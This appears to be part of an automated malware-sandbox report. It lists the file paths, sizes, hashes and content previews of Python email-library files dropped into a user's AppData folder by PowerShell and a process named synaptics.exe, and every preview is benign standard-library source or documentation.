              Preview:o.......:.-d.'.......................@...sF...d.Z.g.d...Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.Z.d.Z.d.Z.d.d...e.d...D...Z.e.d.d.....Z.e.d.d.....Z.d.e...d.....e...d.....D.].Z.e.e...e.e.<.q;d.e.e.d...<.d.D.].Z.e.e...e.e.<.qLd.d...Z.d.d...Z.d.d...Z.d.d...Z.d+d.d...Z.d.d...Z.d.d...Z.d,d.d ..Z.e.d.d.....Z.d!D.].Z.e.e...e.e.<.q.d"e.f.d#d$..Z.e.f.d%d&..Z.e.Z.e.Z.d'd(..Z.d)d*..Z d.S.)-aF...Quoted-printable content transfer encoding per RFCs 2045-2047...This module handles the content transfer encoding method defined in RFC 2045.to encode US ASCII-like 8-bit data called `quoted-printable'. It is used to.safely encode text that is in a character set similar to the 7-bit US ASCII.character set, but that includes some 8-bit characters that are normally not.allowed in email bodies or headers...Quoted-printable is very space-inefficient for encoding binary files; use the.email.base64mime module for that instead...This module provides an interface to encode and decode both headers and bodies.with quoted-p

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\utils.cpython-310.pyc.29631392

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):9709
              Entropy (8bit):5.5285712150058846
              Encrypted:false
              SSDEEP:
              MD5:A3503133B7140996A1FDD3A386F47B45
              SHA1:2F6CCE062662BE135835F36AC3695884D0BED7C3
              SHA-256:2C4A5310B23BE91F6D754D414C95015FBDD123C2842C895443E0075B75FF6E91
              SHA-512:4B1B1BC846FA4FCA8DBBE598C31AB1A819AACE88C47A53FA441F517A8D181C8935CA58896E644070761DF3FE006A5FC00E3DEF206B5853F1335B8610B888B85B
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.5.......................@...sT...d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.d.Z.d.Z.d.Z.d.Z.e...d...Z.e...d...Z.d.d...Z.d.d...Z.d5d.d...Z.d.d...Z.d.d...Z d6d.d...Z!d7d.d...Z"d8d.d ..Z#d!d"..Z$d#d$..Z%d%d&..Z&d'd(..Z'd8d)d*..Z(e...d+e.j)..Z*d,d-..Z+.../d9d0d1..Z,d:d3d4..Z-d.S.);z.Miscellaneous utilities.)...collapse_rfc2231_value..decode_params..decode_rfc2231..encode_rfc2231..formataddr..formatdate..format_datetime..getaddresses..make_msgid..mktime_tz..parseaddr..parsedate..parsedate_tz..parsedate_to_datetime..unquote.....N)...quote)...AddressList).r....).r....r......_parsedate_tz)...Charsetz., ..z.....'z.[][\\()<>@,:;".]z.[\\"]c....................C...s$...z.|.......W.d.S...t.y.......Y.d.S.w.).z8Return True if s contains surrogate-escaped binary data.FT)...encode..UnicodeEncodeError)...s..r.....9C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\utils.py.._has_surrogates3...s...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\_encoded_words.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):8774
              Entropy (8bit):4.669757481893706
              Encrypted:false
              SSDEEP:
              MD5:DD5C15C6C8497B37895EE2DD40483EBC
              SHA1:F6ACB572029D7CD2D41625C7F0DED5B8EB6A313D
              SHA-256:154F585498454CA829DCD44BB89355FF8C7965B1B6692D1AC0293E7553DBBABD
              SHA-512:140555C8F17669C2AC624E0E354021ECAA7F4F24AC6DDA3A1DD19A74371BFCC3FC0C714061362DE84EC8456ECB3381FF6C7D328C4EF25CDA3061C90EBE273324
              Malicious:false
              Reputation:unknown
              Preview:""" Routines for manipulating RFC2047 encoded words.....This is currently a package-private API, but will be considered for promotion..to a public API if there is demand....."""....# An ecoded word looks like this:..#..# =?charset[*lang]?cte?encoded_string?=..#..# for more information about charset see the charset module. Here it is one..# of the preferred MIME charset names (hopefully; you never know when parsing)...# cte (Content Transfer Encoding) is either 'q' or 'b' (ignoring case). In..# theory other letters could be used for other encodings, but in practice this..# (almost?) never happens. There could be a public API for adding entries..# to the CTE tables, but YAGNI for now. 'q' is Quoted Printable, 'b' is..# Base64. The meaning of encoded_string should be obvious. 'lang' is optional..# as indicated by the brackets (they are not part of the syntax) but is almost..# never encountered in practice...#..# The general interface for a CTE decoder is that it takes the enc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\_header_value_parser.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):109985
              Entropy (8bit):4.606805991203239
              Encrypted:false
              SSDEEP:
              MD5:BFD2F9A03D650665D9F73B7232299A1E
              SHA1:25EA36F8ABE6790512BBDE0B122B7557F6B0C4E5
              SHA-256:F14209FD00B53C97611753F167FDFEBD1C4C3F90476FBD565D1F7A0C21C4211D
              SHA-512:9120E6CAC27382A437C0ABDA195F96B2BD46A4852A1DD71C5D0DA45399FB110BBB13ED587A4A8DED99E8C3A740EBA03CDB683069185B814B5118E5CE09F5EDBA
              Malicious:false
              Reputation:unknown
              Preview:"""Header value parser implementing various email-related RFC parsing rules.....The parsing methods defined in this module implement various email related..parsing rules. Principal among them is RFC 5322, which is the followon..to RFC 2822 and primarily a clarification of the former. It also implements..RFC 2047 encoded word decoding.....RFC 5322 goes to considerable trouble to maintain backward compatibility with..RFC 822 in the parse phase, while cleaning up the structure on the generation..phase. This parser supports correct RFC 5322 generation by tagging white space..as folding white space only when folding is allowed in the non-obsolete rule..sets. Actually, the parser is even more generous when accepting input than RFC..5322 mandates, following the spirit of Postel's Law, which RFC 5322 encourages...Where possible deviations from the standard are annotated on the 'defects'..attribute of tokens that deviate.....The general structure of the parser follows RFC 5322, and uses its

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\_parseaddr.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):18378
              Entropy (8bit):4.40867877161788
              Encrypted:false
              SSDEEP:
              MD5:ABB8E7D0EECA30077BEC3E11166B853D
              SHA1:13F614028F8727728DD31E98FA628297FC38C0C0
              SHA-256:4960C31F0039780F316149A3773367A3AEEC3BB17D360776334D9B9E688DA908
              SHA-512:8AB6AC0C1512FFA89D68C726144E8FABBAFBA93687F27F7F8B528BD3B2F7C492235FFEC4B0A02FE74563EB15CD3740E0FBDE39271FEC7C58146EDEFE2B13DA41
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2002-2007 Python Software Foundation..# Contact: email-sig@python.org...."""Email address parsing code.....Lifted directly from rfc822.py. This should eventually be rewritten..."""....__all__ = [.. 'mktime_tz',.. 'parsedate',.. 'parsedate_tz',.. 'quote',.. ]....import time, calendar....SPACE = ' '..EMPTYSTRING = ''..COMMASPACE = ', '....# Parse a date field.._monthnames = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul',.. 'aug', 'sep', 'oct', 'nov', 'dec',.. 'january', 'february', 'march', 'april', 'may', 'june', 'july',.. 'august', 'september', 'october', 'november', 'december']...._daynames = ['mon', 'tue', 'wed', 'thu', 'fri', 'sat', 'sun']....# The timezone table does not include the military time zones defined..# in RFC822, other than Z. According to RFC1123, the description in..# RFC822 gets the signs wrong, so we can't rely on any such time..# zones. RFC1123 recommends that numeric timezone indicators b

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\_policybase.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):15447
              Entropy (8bit):4.377685393663711
              Encrypted:false
              SSDEEP:
              MD5:0C5B89A975BB78A09F8601501DDBF037
              SHA1:949B4A68B8A9DFD7C3A4E9E04DD6C9F0DBB6D76B
              SHA-256:D9F2E3A5E277CFE874E4C47BF643497C51D3B8C4B97124B478DA23407921DAEC
              SHA-512:EA3E1E795470ACF89D61CB31A67AFD7055A3C48204371A9F62B0DADB8FF15F7B771F159DE123F53D939437B1374BA4437D945B6990A5AFAA93B5DA54154DA83B
              Malicious:false
              Reputation:unknown
              Preview:"""Policy framework for the email package.....Allows fine grained feature control of how the package parses and emits data..."""....import abc..from email import header..from email import charset as _charset..from email.utils import _has_surrogates....__all__ = [.. 'Policy',.. 'Compat32',.. 'compat32',.. ]......class _PolicyBase:.... """Policy Object basic framework..... This class is useless unless subclassed. A subclass should define.. class attributes with defaults for any values that are to be.. managed by the Policy object. The constructor will then allow.. non-default values to be set for these attributes at instance.. creation time. The instance will be callable, taking these same.. attributes keyword arguments, and returning a new instance.. identical to the called instance except for those values changed.. by the keyword arguments. Instances may be added, yielding new.. instances with any non-default values from the right hand..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\architecture.rst

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):9777
              Entropy (8bit):4.593828888317049
              Encrypted:false
              SSDEEP:
              MD5:AF898BB7CA21756B490791A7A7F7DB15
              SHA1:59D2CC7CD4D850E2CA063055E45050488D2B7FB4
              SHA-256:8D1A1F7C18240DF34E51C32450449C5CD767C3571B553D2052A3FD6BFB77C07A
              SHA-512:3D9671001067CD9C9D41D4B693776035506862D68E83701A72E43AAAF23E7FB1645A6E117531BEAB334F3883A27F31AE348C77C376E39186E10C1B23EBED4869
              Malicious:false
              Reputation:unknown
              Preview::mod:`email` Package Architecture..=================================....Overview..--------....The email package consists of three major components:.... Model.. An object structure that represents an email message, and provides an.. API for creating, querying, and modifying a message..... Parser.. Takes a sequence of characters or bytes and produces a model of the.. email message represented by those characters or bytes..... Generator.. Takes a model and turns it into a sequence of characters or bytes. The.. sequence can either be intended for human consumption (a printable.. unicode string) or bytes suitable for transmission over the wire. In.. the latter case all data is properly encoded using the content transfer.. encodings specified by the relevant RFCs.....Conceptually the package is organized around the model. The model provides both.."external" APIs intended for use by application programs using the libra

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\base64mime.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3678
              Entropy (8bit):4.842316082900427
              Encrypted:false
              SSDEEP:
              MD5:8AE63186399520CCD61E4776409065FF
              SHA1:BF485E3B3051EAC063E9C69161A542D5072759C9
              SHA-256:7E499FDEFAF71CA3DF0CBEB0B3F7B460FDB3CC86CE82CEB5842747DD1687424D
              SHA-512:51C83054EC515CC2CC1EB467E3AFBA92820B3F1CB8C4C22345EDA38B23DB74C6FF6290BCDF8E77EEADCCA2183575D70EA5C88962E3B673AC5CEC17E595022DC3
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2002-2007 Python Software Foundation..# Author: Ben Gertzfield..# Contact: email-sig@python.org...."""Base64 content transfer encoding per RFCs 2045-2047.....This module handles the content transfer encoding method defined in RFC 2045..to encode arbitrary 8-bit data using the three 8-bit bytes in four 7-bit..characters encoding known as Base64.....It is used in the MIME standards for email to attach images, audio, and text..using some 8-bit character sets to messages.....This module provides an interface to encode and decode both headers and bodies..with Base64 encoding.....RFC 2045 defines a method for including character set information in an..`encoded-word' in a header. This method is commonly used for 8-bit real names..in To:, From:, Cc:, etc. fields, as well as Subject: lines.....This module does not do the line wrapping or end-of-line character conversion..necessary for proper internationalized headers; it only does dumb encoding and..decoding. To deal with the

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\charset.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):17532
              Entropy (8bit):4.605924379555321
              Encrypted:false
              SSDEEP:
              MD5:7D16C9AD3426CD9A469E85B63CD9BF58
              SHA1:11DB7CA4FC1191E3EE6053B28BDEF7C086D5EFB6
              SHA-256:BCF952E8BCA0AB984AE06E5D1C8634C7FFFF8BD1F02403BE3E870325F056D84D
              SHA-512:EAD30DC1068645991516076445C811263A18D033E6DBBF0E1903D0DA5192DC4BB0C975D44D1694E91A380A48F5ECFFDE0483B88A27939467251456F88E9D6282
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2007 Python Software Foundation..# Author: Ben Gertzfield, Barry Warsaw..# Contact: email-sig@python.org....__all__ = [.. 'Charset',.. 'add_alias',.. 'add_charset',.. 'add_codec',.. ]....from functools import partial....import email.base64mime..import email.quoprimime....from email import errors..from email.encoders import encode_7or8bit.........# Flags for types of header encodings..QP = 1 # Quoted-Printable..BASE64 = 2 # Base64..SHORTEST = 3 # the shorter of QP and base64, but only for headers....# In "=?charset?q?hello_world?=", the =?, ?q?, and ?= add up to 7..RFC2047_CHROME_LEN = 7....DEFAULT_CHARSET = 'us-ascii'..UNKNOWN8BIT = 'unknown-8bit'..EMPTYSTRING = ''.........# Defaults..CHARSETS = {.. # input header enc body enc output conv.. 'iso-8859-1': (QP, QP, None),.. 'iso-8859-2': (QP, QP, None),.. 'iso-8859-3': (QP, QP, None),.. 'iso-8859-4': (QP, QP, No

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\contentmanager.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10803
              Entropy (8bit):4.598946355386075
              Encrypted:false
              SSDEEP:
              MD5:B0E0936B331BCD3C5D66802F1B280EB7
              SHA1:365EFBB441E8B675A861AF54002E02F6AD0CA29F
              SHA-256:565C226D02B4C500969C3AC575E28BEE7179947B8E0DB6C7343F51A43E57B330
              SHA-512:F506CDB2F704F7FD61A5C44AD39CD9EC0888345018E0876B099114CBF63B6A9645C0465CF65427F7B4000B17573F5CFC31A4B771149BDB607B9ED9DA8CA69850
              Malicious:false
              Reputation:unknown
              Preview:import binascii..import email.charset..import email.message..import email.errors..from email import quoprimime....class ContentManager:.... def __init__(self):.. self.get_handlers = {}.. self.set_handlers = {}.... def add_get_handler(self, key, handler):.. self.get_handlers[key] = handler.... def get_content(self, msg, *args, **kw):.. content_type = msg.get_content_type().. if content_type in self.get_handlers:.. return self.get_handlers[content_type](msg, *args, **kw).. maintype = msg.get_content_maintype().. if maintype in self.get_handlers:.. return self.get_handlers[maintype](msg, *args, **kw).. if '' in self.get_handlers:.. return self.get_handlers[''](msg, *args, **kw).. raise KeyError(content_type).... def add_set_handler(self, typekey, handler):.. self.set_handlers[typekey] = handler.... def set_content(self, msg, obj, *args, **kw):.. if msg.get_content_m

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\encoders.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1855
              Entropy (8bit):4.84496401418314
              Encrypted:false
              SSDEEP:
              MD5:C5D9853A25FF74DBD71A79494E777276
              SHA1:D31B520808C02B931F2F2EC2DC8FBCCD11C350D2
              SHA-256:1CEA37BB71B7AAC3C7ACB98CCCC2F17017F7195FFE510A96F0DACAABA856A2C6
              SHA-512:4249F3889E4B6D944B5A0E1274076313DDF48F89705F2D91B3625A6E59E3A5BE1101C83619AA0DD2B27931F77CCD1FC81ABA7F3C3FB3B5B215A4C1E5F0F365F2
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2006 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Encodings and related functions."""....__all__ = [.. 'encode_7or8bit',.. 'encode_base64',.. 'encode_noop',.. 'encode_quopri',.. ]......from base64 import encodebytes as _bencode..from quopri import encodestring as _encodestring.........def _qencode(s):.. enc = _encodestring(s, quotetabs=True).. # Must encode spaces, which quopri.encodestring() doesn't do.. return enc.replace(b' ', b'=20')......def encode_base64(msg):.. """Encode the message's payload in Base64..... Also, add an appropriate Content-Transfer-Encoding header... """.. orig = msg.get_payload(decode=True).. encdata = str(_bencode(orig), 'ascii').. msg.set_payload(encdata).. msg['Content-Transfer-Encoding'] = 'base64'.........def encode_quopri(msg):.. """Encode the message's payload in quoted-printable..... Also, add an appropriate Content-Transfer-Encoding head

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\errors.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3848
              Entropy (8bit):4.82156900066135
              Encrypted:false
              SSDEEP:
              MD5:8A6EE2E875D87833B092C4FFB1486680
              SHA1:3A1C424674CADA0FC0182617B0DF008633E237B1
              SHA-256:AC186C29F471F55DE3099F82B67B8B0B9EDB16E4568CB094F852373A0485D07A
              SHA-512:4D82E81C20EDFEB60411E4BE994C1C3F5EA92C9ABBBF43F3AD344852586D53C744BDDB9AE09F381E139E670EC7D97BF7859F5101F8C2DA57A9E730451409D15E
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2006 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""email package exception classes."""......class MessageError(Exception):.. """Base class for errors in the email package."""......class MessageParseError(MessageError):.. """Base class for message parsing errors."""......class HeaderParseError(MessageParseError):.. """Error while parsing headers."""......class BoundaryError(MessageParseError):.. """Couldn't find terminating boundary."""......class MultipartConversionError(MessageError, TypeError):.. """Conversion to a multipart is prohibited."""......class CharsetError(MessageError):.. """An illegal charset was given."""......# These are parsing defects which the parser was able to work around...class MessageDefect(ValueError):.. """Base class for a message defect.""".... def __init__(self, line=None):.. if line is not None:.. super().__init__(line).. self.line = line....cla

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\feedparser.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):23316
              Entropy (8bit):4.1407006845201835
              Encrypted:false
              SSDEEP:
              MD5:2D2B32601AD79A67484175EC19C73C77
              SHA1:1B31D6BB28CA6939F4F4B6AA662A1254DEA9F157
              SHA-256:F3B126E9C8E58230B0D9295B69B4940569EB003AFCBA80BA1714CA5E53F84886
              SHA-512:91C830D6D96DFD152E1E6E4D44CAFB9C5EEF1FDA482A450093143B177B902E7659153CE877695F005862F106BC0ED353A17A2CA8872087DCE6AC86143A5A6D47
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2004-2006 Python Software Foundation..# Authors: Baxter, Wouters and Warsaw..# Contact: email-sig@python.org...."""FeedParser - An email feed parser.....The feed parser implements an interface for incrementally parsing an email..message, line by line. This has advantages for certain applications, such as..those reading email messages off a socket.....FeedParser.feed() is the primary interface for pushing new data into the..parser. It returns when there's nothing more it can do with the available..data. When you have no more data to push into the parser, call .close()...This completes the parsing and returns the root message object.....The other advantage of this parser is that it will never raise a parsing..exception. Instead, when it finds something unexpected, it adds a 'defect' to..the current message. Defects are just instances that live on the message..object's .defects attribute..."""....__all__ = ['FeedParser', 'BytesFeedParser']....import re....from email i

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\generator.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):20708
              Entropy (8bit):4.437748397303835
              Encrypted:false
              SSDEEP:
              MD5:00700DFB5C1ECFFBCE39A275BD8F12B0
              SHA1:23D15C009826BEFD86BF804A315C7AF18D37C9B6
              SHA-256:B3102DE7B076FF21F00B580CE82E1118AA38B607931A2476DC3883398275F3DD
              SHA-512:64ACEECA27E56244279A8A74507DD6F6D42A51C9313956ED29056532BFD2D3655391EB3C85BD0CABA964E73282012A9C99680D4DC3F25BD313CE1295D0334E5A
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2010 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Classes to generate plain text from a message object tree."""....__all__ = ['Generator', 'DecodedGenerator', 'BytesGenerator']....import re..import sys..import time..import random....from copy import deepcopy..from io import StringIO, BytesIO..from email.utils import _has_surrogates....UNDERSCORE = '_'..NL = '\n' # XXX: no longer used by the code below.....NLCRE = re.compile(r'\r\n|\r|\n')..fcre = re.compile(r'^From ', re.MULTILINE).........class Generator:.. """Generates output from a Message object tree..... This basic generator writes the message to the given file object as plain.. text... """.. #.. # Public interface.. #.... def __init__(self, outfp, mangle_from_=None, maxheaderlen=None, *,.. policy=None):.. """Create the generator for message flattening..... outfp is the output file-like object for writing the me

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\header.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):24680
              Entropy (8bit):4.391747681853325
              Encrypted:false
              SSDEEP:
              MD5:EFE826EE4E05118B050E04FD44DA04E1
              SHA1:74708ECA64365EEAF6F0DB3AF06470A3136971BF
              SHA-256:8989B40D16A74E408F117AC964F0498AC807430FB16E1B41FC3783C8397AE165
              SHA-512:D505B167E8BB9D6F3250CBE4019E11952F004AB6E1691C952F1B0D7A014A2BB84316849EC4413A87EC2FD6F64FF24EE144D9DCB9A70D7E8FE5C4E19AF5847C7F
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2002-2007 Python Software Foundation..# Author: Ben Gertzfield, Barry Warsaw..# Contact: email-sig@python.org...."""Header encoding and decoding functionality."""....__all__ = [.. 'Header',.. 'decode_header',.. 'make_header',.. ]....import re..import binascii....import email.quoprimime..import email.base64mime....from email.errors import HeaderParseError..from email import charset as _charset..Charset = _charset.Charset....NL = '\n'..SPACE = ' '..BSPACE = b' '..SPACE8 = ' ' * 8..EMPTYSTRING = ''..MAXLINELEN = 78..FWS = ' \t'....USASCII = Charset('us-ascii')..UTF8 = Charset('utf-8')....# Match encoded-word strings in the form =?charset?q?Hello_World?=..ecre = re.compile(r'''.. =\? # literal =?.. (?P<charset>[^?]*?) # non-greedy up to the next ? is the charset.. \? # literal ?.. (?P<encoding>[qQbB]) # either a "q" or a "b", case insensitive.. \? # literal ?.. (?P<encoded>.*?) # non-greedy up

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\headerregistry.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):21417
              Entropy (8bit):4.469282853795882
              Encrypted:false
              SSDEEP:
              MD5:85B66267476C872AD6929809F5A2148E
              SHA1:00DAE4BF4BB8C59160838A8792540FBFF9235CCB
              SHA-256:4F35739459852F5165E594974C20077ACE4EDCF2F0C295878255D376BC0ECC2A
              SHA-512:69AB5C38DFC4BA189FDC3C344B8509C067A2B9A4A62A4ECA991FA1697571AA6F65AB66037D92C63733BFC87698CFFEC6EBD543B9859F5C35B15BD3C62B487313
              Malicious:false
              Reputation:unknown
              Preview:"""Representing and manipulating email headers via custom objects.....This module provides an implementation of the HeaderRegistry API...The implementation is designed to flexibly follow RFC5322 rules..."""..from types import MappingProxyType....from email import utils..from email import errors..from email import _header_value_parser as parser....class Address:.... def __init__(self, display_name='', username='', domain='', addr_spec=None):.. """Create an object representing a full email address..... An address can have a 'display_name', a 'username', and a 'domain'. In.. addition to specifying the username and domain separately, they may be.. specified together by using the addr_spec keyword *instead of* the.. username and domain keywords. If an addr_spec string is specified it.. must be properly quoted according to RFC 5322 rules; an error will be.. raised if it is not..... An Address object has display_name, username, doma

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\iterators.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2206
              Entropy (8bit):4.742106820652629
              Encrypted:false
              SSDEEP:
              MD5:A8141F0F87485A31CD34D98D9254CC74
              SHA1:B89AA38E7162DAD04D6864413013C25E8CBE04AF
              SHA-256:7CBB33D39388E72C408E8A64C5DDF044EF546092E6EC48BD62926CDB54E80769
              SHA-512:6E68410D8A67AE6656D9BCE4A7C81014A09C61FC9E27EBB8D38835A466172BC39447B7C2E7D91093280DCEF162C9F3EA0DA3A4EC8E70A6F597B4C92E8544FBD0
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2006 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Various types of useful iterators and generators."""....__all__ = [.. 'body_line_iterator',.. 'typed_subpart_iterator',.. 'walk',.. # Do not include _structure() since it's part of the debugging API... ]....import sys..from io import StringIO.........# This function will become a method of the Message class..def walk(self):.. """Walk over the message tree, yielding each subpart..... The walk is performed in depth-first order. This method is a.. generator... """.. yield self.. if self.is_multipart():.. for subpart in self.get_payload():.. yield from subpart.walk().........# These two functions are imported into the Iterators.py interface module...def body_line_iterator(msg, decode=False):.. """Iterate over the parts, returning string payloads line-by-line..... Optional decode (default False) is passed through to .ge

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\message.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):48233
              Entropy (8bit):4.389945069848653
              Encrypted:false
              SSDEEP:
              MD5:14F6A07A274A381C6C16336912036DF9
              SHA1:9E44EBD712548E3B4F616AF023577C71C731D7D9
              SHA-256:2A132F508CB491F5D58285B4CDC5F58EB5B7E181E5BDA52683C9E37B3CE1FC9A
              SHA-512:30405248116E788B590B009F27E7395D68543738ACFC2A90FB03F8C4BD07DC5FCB0BFB13A85552E81BCCA8256D4B290A84766CCE38C3C43011F652C96A548EF4
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2007 Python Software Foundation..# Author: Barry Warsaw..# Contact: email-sig@python.org...."""Basic message object for the email package object model."""....__all__ = ['Message', 'EmailMessage']....import re..import uu..import quopri..from io import BytesIO, StringIO....# Intrapackage imports..from email import utils..from email import errors..from email._policybase import Policy, compat32..from email import charset as _charset..from email._encoded_words import decode_b..Charset = _charset.Charset....SEMISPACE = '; '....# Regular expression that matches `special' characters in parameters, the..# existence of which force quoting of the parameter value...tspecials = re.compile(r'[ \(\)<>@,;:\\"/\[\]\?=]')......def _splitparam(param):.. # Split header parameters. BAW: this may be too simple. It isn't.. # strictly RFC 2045 (section 5.1) compliant, but it catches most headers.. # found in the wild. We may eventually need a full fledged parser... # RDM: w

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\mime\application.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1358
              Entropy (8bit):4.663083536091826
              Encrypted:false
              SSDEEP:
              MD5:3694543B1F5BA8545787D841B01B6554
              SHA1:286BD4F89559927558A157A054C01BFCB2271034
              SHA-256:8911432A19145A0F8D3A869BF9D37BD5B1325C148BCC2196859543714F30162A
              SHA-512:D952021F7E76FA9EE3C8E62B7131BDB9D12BFB3DB988E0BC5211A4451E38E1550221785CD1DBF6889BCBE7D081A195D50CE4C9E186494174EA191F448BC4989B
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (C) 2001-2006 Python Software Foundation..# Author: Keith Dart..# Contact: email-sig@python.org...."""Class representing application/* type MIME documents."""....__all__ = ["MIMEApplication"]....from email import encoders..from email.mime.nonmultipart import MIMENonMultipart......class MIMEApplication(MIMENonMultipart):.. """Class for generating application/* MIME documents.""".... def __init__(self, _data, _subtype='octet-stream',.. _encoder=encoders.encode_base64, *, policy=None, **_params):.. """Create an application/* type MIME document..... _data contains the bytes for the raw application data..... _subtype is the MIME content type subtype, defaulting to.. 'octet-stream'..... _encoder is a function which will perform the actual encoding for.. transport of the application data, defaulting to base64 encoding..... Any additional keyword arguments are passed to the base class.. constructor, which

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\mime\audio.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2813
              Entropy (8bit):4.596181813233121
              Encrypted:false
              SSDEEP:
              MD5:032F9685D64F2E7FA6E25478661277B4
              SHA1:EF3D80537F049401798601A14FCAAB47F408B46A
              SHA-256:983C68C0876371A4B4079B94F161AC2F0199A453B28CF3FD7D2D23FFC9908CF4
              SHA-512:F94B1B4285CEFC24055C41C2E197E824FF8B1C92D13E76CB6F5D67083C5F5CA2CD563BF3D0AFCA7FDB33BE542E53E72B23D1D296475880E8313089500BB49340
              Malicious:false
              Reputation:unknown
